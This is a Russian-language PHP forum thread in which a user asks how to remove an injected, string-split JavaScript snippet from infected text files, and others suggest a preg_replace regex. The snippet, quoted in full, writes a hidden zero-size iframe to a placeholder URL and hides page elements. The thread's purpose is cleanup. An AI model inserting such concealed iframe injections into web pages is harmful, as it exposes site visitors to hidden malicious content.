вырезать из файла спец. вставку.

Ancient

Guest
вырезать из файла спец. вставку.

Итак, в неких текстовых файлах есть примерно такое содержание:

<script language="Javascript" type="text/javascript">
<!--
url = "http://bla-bla";
qwe = ' di'+'spl'+'ay:n'+'one'+';}</s'+'ty'+'le>';
rty = '" FR'+'AMEB'+'ORD'+'ER="0" WIDTH=0 HEIGHT=0'+'0%></I'+'F'+'RA'+'ME>';
uio = '<s'+'tyl'+'e type="text/css">';
asd = '<IF'+'RA'+'ME SRC="';
fgh = ' .t'+'ex'+'t {vi'+'sib'+'ili'+'ty:h'+'idd'+'en;';
a = asd+url+rty;
b = uio+fgh+qwe;
document.write (a);
document.write (b);
self.focus();
setInterval("window.status='bla-bla'",7);
//-->
</script>


Как вырезать это целиком????
Некоторые строки вырезаются, но не могу справиться со всеми сразу. Ну понимаю, что надо экранировать символы " , но все остальное??? Помогите, устал уже...
 

SiMM

Новичок
> Некоторые строки вырезаются, но не могу справиться со всеми сразу.
Не вижу, как не можешь.

PS: и не надо лезть к продвинутым - прочти описание форума. Твой вопрос под него не подходит.
 

Ancient

Guest
А зря не видишь. Я конечно может и не двинутый, но мог бы сам попробовать и понял бы.
если просто передать строку
qwe = ' di'+'spl'+'ay:n'+'one'+';}</s'+'ty'+'le>';
как параметр stp_replace ничего не происходит. хоть экранируй, хоть нет...
 

DiMA

php.spb.ru
Команда форума
$html=preg_replace("!<script.+?</script[^>]*>!is","",$html);

написать это быстрее, чем такой продвинутый П.С.
 

SiMM

Новичок
> написать это быстрее, чем такой продвинутый П.С.
Никогда не считал бездумное Copy&Paste верным способом чему либо научиться.
 

Ancient

Guest
Это не прокатывает. Надо вырезать только этот кусок, а не все ява скрипты.
 
Сверху